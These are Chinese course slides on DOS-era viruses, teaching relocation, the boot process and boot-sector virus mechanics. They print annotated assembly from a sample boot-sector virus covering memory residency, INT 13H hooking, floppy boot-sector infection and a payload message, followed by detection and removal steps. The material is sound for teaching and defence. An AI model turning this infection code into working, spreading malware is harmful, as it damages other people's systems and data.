您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 质量控制/管理 > 第4章--DOS病毒的基本原理与DOS病毒分析-1
主要内容病毒重定位的含义与基本方法引导型病毒的基本原理文件型病毒的基本原理感染COM文件的基本方法及COM文件病毒的清除感染EXE文件的基本方法及EXE文件病毒的清除DOS病毒的基本原理与DOS病毒分析病毒为什么需要重定位病毒不可避免也要用到变量(常量),当病毒感染HOST程序后,由于其依附到不同HOST程序中的位置各有不同,病毒随着HOST载入内存后,病毒中的各个变量(常量)在内存中的位置自然也会随着发生变化病毒的重定位病毒在感染前的Var2位置病毒感染HOST后Var2的位置变量Var2VIRUS00400000004010xx变量Var2的实际位置HOST变量Var2VIRUS00400000004010xx4.1.2病毒如何重定位calldelta;这条语句执行之后,堆栈顶端为delta在内存中的真正地址delta:popebp;这条语句将delta在内存中的真正地址存放在ebp寄存器中……leaeax,[ebp+(offsetvar1-offsetdelta)];这时eax中存放着var1在内存中的真实地址如果病毒程序中有一个变量var1,那么该变量实际在内存中的地址应该是ebp+(offsetvar1-offsetdelta),即参考量delta在内存中的地址+其它变量与参考量之间的距离=其它变量在内存中的真正地址有时候我们也采用(ebp-offsetdelta)+offsetvar1的形式进行变量var1的重定位4.1病毒的重定位计算机启动过程BIOS将启动盘的主引导记录(位于0柱面、0磁道、1扇区)读入7C00处,然后将控制权交给主引导代码。主引导代码的任务包括:扫描分区表,找到一个激活(可引导)分区;找到激活分区的起始扇区;将激活分区的引导扇区装载到内存7C00处;将控制权交给引导扇区代码;引导型病毒物理位置引导型病毒的思想引导型病毒是一种在ROMBIOS之后,系统引导时出现的病毒,它先于操作系统,依托的环境是BIOS中断服务程序。引导型病毒是利用操作系统的引导模块放在某个固定的位置,并且控制权的转交方式是以物理位置为依据,而不是以操作系统引导区的内容为依据。因而病毒占据该物理位置即可获得控制权,而将真正的引导区内容搬家转移或替换,待病毒程序执行后,将控制权交给真正的引导区内容,使得这个带病毒的系统看似正常运转,而病毒已隐藏在系统中并伺机传染、发作。引导型病毒引导型病毒的主要特点引导型病毒是在操作系统之前进入内存,寄生对象又相对固定,因此该类型病毒基本上不得不采用减少操作系统所掌管的内存容量方法来驻留内存高端。而正常的系统引导过程一般是不减少系统内存的。引导型病毒需要把病毒传染给软盘,一般是通过修改INT13H的中断向量,而新INT13H中断向量段址必定指向内存高端的病毒程序。引导型病毒感染硬盘时,必定驻留硬盘的主引导扇区或引导扇区,并且只驻留一次,因此引导型病毒一般都是在软盘启动过程中把病毒传染给硬盘的。而正常的引导过程一般是不对硬盘主引导区或引导区进行写盘操作的。引导型病毒的寄生对象相对固定,把当前的系统主引导扇区和引导扇区与干净的主引导扇区和引导扇区进行比较,如果内容不一致,可认定系统引导区异常。引导型病毒引导型病毒的触发引导型病毒的触发用染毒盘启动计算机时,引导型病毒先于操作系统获取系统控制权(被首次激活),处于动态因首次激活时修改INT13H入口地址使其指向病毒中断服务程序,从而处于可激活态当系统/用户进行磁盘读写时调用INT13H,调用的实际上是病毒的中断服务程序,从而激活病毒,使病毒处于激活态病毒被激活之后,即可根据感染条件实施暗地感染、根据爆发破坏条件破坏系统并表现自己引导型病毒INT13H调用BIOS磁盘服务功能读写扇区调用INT13H子功能02H读扇区调用INT13H子功能03H写扇区引导型病毒A:\debug-a10013AD:0100movax,0201//02-读取01-1个扇区13AD:0103movbx,0600//读到内存13AD:0600的位置ES:BX-数据缓冲区13AD:0106movcx,0001//从第一个扇区开始读取;CH:柱面号低8位;CL:低6位扇区号13AD:0109movdx,0080//DH磁头号;DL:物理驱动器号-从硬盘读取13AD:010Cint13//执行命令13AD:010Eint3//终止命令13AD:010E-g=100//执行100开始的命令,遇到int3会自动终止-d600//查看扇区内容,一共512字节调用BIOS磁盘服务功能读写扇区引导型病毒Int13H需要的参数有哪些?引导型病毒样例分析该引导型病毒,通过截流盗取INT13H中断监视系统的运行并感染软盘引导扇区、硬盘主引导扇区感染前在相应扇区备份引导扇区/主引导扇区通过分析MBR或DBR,或将其与正常的MBR/DBR进行比较,若发现异常,可以断定感染了引导型病毒病毒修改中断向量,通过分析比较中断向量,也可发现病毒的存在引导型病毒引导型病毒的基本原理引导型病毒引导型病毒基本原理引导型病毒13H中断带毒硬盘引导BIOS将硬盘主引导区读到内存0:7C00处控制权转到主引导程序(病毒)将0:413单元的值减少1K(或nK)计算可用内存高端地址,将病毒移到高端继续执行修改INT13H地址,指向病毒传染段,将原INT13H地址保存在某一单元病毒任务完成,将原引导区调入0:7C00执行系统正常引导病毒13H中断入口在读写软盘?此软盘有毒?对其传染执行原INT13H否否是是0:413存放常规内存大小INT13H中断功能对磁盘扇区的读写原引导扇区的内容要保护好引导型病毒样例分析modelsmall:独立的代码段(64KB)和独立的数据段(64KB)回忆寻址方式段地址:偏移地址中断处理程序CPU响应中断中断请求中断返回原程序中断中断向量表包含256个中断向量。每个中断向量占用两个字高地址字-中断服务程序所在代码段的段基址,低地址字-代码段中中断服务程序第一条指令的偏移量。引导型病毒样例分析-如何驻留内存movAX,DS:[0413H];413H单元存有以KB计数的内存大小decAXdecAXmovDS:[0413H],AX;将原内存大小减2KBmovCL,6shlAX,CL;计算高端内存地址movES,AX;ES指向高端起址movSI,SP;SI=7C00HxorDI,DI;DI=0movCX,VirusSize;cld;地址自动增量repmovsb;病毒搬迁到高端地址内修改int13h中断向量-抓住中断-段地址@@HighAddr:;修改系统的int13H中断向量,用自定义的int13H的入口地址进行替换,并将系统的int13H地址进行保存cli;修改中断向量前,关中断xchgDS:[13H*4+2],AX;在DOS的640KB内存里,00000-00400是存放0-255号中断向量的,其中int13H中断的入口段地址存放在(WORD)004E,偏移量地址存放在(WORD)004C;xchg前,AX是内存最高段的地址movCS:[OldInt13Seg],AX;将int13H中断的入口段地址存放在本程序定义的OldInt13Seg中修改int13h中断向量-抓住中断-偏移地址movAX,offset@@NewInt13;AX自定义的int13H中断在程序内的偏移量xchgDS:[13H*4],AX;将系统int13H中断偏移量取出,用自定义int13H偏移量代入movCS:[OldInt13off],AX;将系统int13H中断的入口偏移量地址存放在OldInt13OFF中病毒破坏程序-显示信息leaSI,VirusMsg;@@DispMsg:;病毒破坏程序movAL,CS:[SI];incSI;movAH,0EH;int10H;调用BIOS终端,AH=0E表示显示字符(AL=字符,BL=前景色)orAL,AL;判断字符串是否结束(0为结束标志)jnz@@DispMsg;未结束(ZF=0),则继续显示xorAX,AX;int16H;从键盘读字符(AL=字符码,AH=扫描码)@@ReadOldHardBoot:读备份的引导程序(BOOT程序),并执行movAX,0201HmovDH,00HmovCX,0002H;将保存在0面0道2扇区中的原硬盘主引导程序读到什么地方?call@@CallInt13;读出jcshort@@ReadOldHardBoot;失败(CF=1),继续读直到成功jmpshort@@ExecOldBoot;去执行原引导程序@@NewInt13:自定义的int13H(传染块)cmpDX,0000H;判断是否为软盘而且为0面jnzshort@@JmpOldInt13;不是软盘(ZF=0)跳转cmpAH,02H;判断是否为读取jnzshort@@JmpOldInt13;不是读取(ZF=0)跳转cmpCX,0001H;是否为0道1扇区jnzshort@@JmpOldInt13;否(ZF=0)跳转call@@OptDisk;若发现读软盘扇区,则感染软盘@@JmpOldInt13:;调用系统的int13H中断服务程序cli;关中断JmpFarDB00EAH;远跳转指令,跳转到xxxx:xxxxOldInt13OFFDW?;原int13H中断的偏移量OldInt13SegDW?;原int13H中断服务程序入口地址的段地址@@CallInt13:;模拟原int13H指令pushf;把标志寄存器的内容压入堆栈.在子程序调用和中断服务中可用来保护标志位pushCS;call@@JmpOldInt13;ret;如何返回原引导程序PushesPushbxRetf远返回retf的操作:pop-IP;pop-CS;如何感染movbx,offsetOldBootSpacemovax,0201hmovcx,0001hmovdh,00hcall@@CallInt13;读原引导扇区@@SaveOldBoot:movax,0301hmovdh,0hcall@@CallInt13;保存原引导扇区jcshort@@OptOvermovsi,OFF@@Startcldmovswmovsb;修改原扇区首指令(Jmpnear3字节)movdi,offset@@Begin+200hmovsi,offset@@Beginmovcx,offset@@End-OFF@@Begincldrepmovsb;修改原引导扇区指令cx字节movax,0301hmovcx,0001hmovdh,00hcall@@CallInt13;写回已经被修改了的引导程序pushapopa压入和弹出所有寄存器对于同时快速地设置和获得所有通用寄存器的当前状态,PUSHA和POPA指令非常有用。PUSHA指令压入16位寄存器,使它们按照DI,SI,BP,BX,DX,CX最后是AX的顺序出现在堆栈中。4.2.3引导型病毒样例分析示例病毒的清除方法比较简单,将病毒备份的扇区内容或感染前我们主动备份的引导扇区/主引导扇区内容,写入软盘引导扇区/硬盘主引导扇区即可4.2引导型病毒备份DEBUG↙-L100201-NA:DOSBOOT.COM-RCX:200-W-QL命令的一般格式是:L地址磁盘号逻辑扇区号扇区个数地址:是被读入的扇区数据存放区的开始地址。磁盘号:欲读入的磁盘号。0代表A盘,2代表C盘逻辑扇区号:欲读入的起始扇区的逻辑号,Boot扇区的逻辑扇区号为0。扇区个数:一次读入多少个扇区。4.2.3引导型病毒样例分析在恢复引导区之前,应清除内存中的病毒或使内存中的病毒处于灭活状态用干净软盘引导启动系统,可以清除内存中的病毒,也可采用如下方法将内存中的病毒灭活:在无毒环境下(例如用无毒的同版本系统盘启动),用无毒的Debug将中断向量表取出存在一个文件中当内存中有病毒时用上述文件覆盖中断向量表。中断向量表恢复正常,内存中通过修改向量表截流盗取中断向量的
本文标题:第4章--DOS病毒的基本原理与DOS病毒分析-1
链接地址:https://www.777doc.com/doc-5541139 .html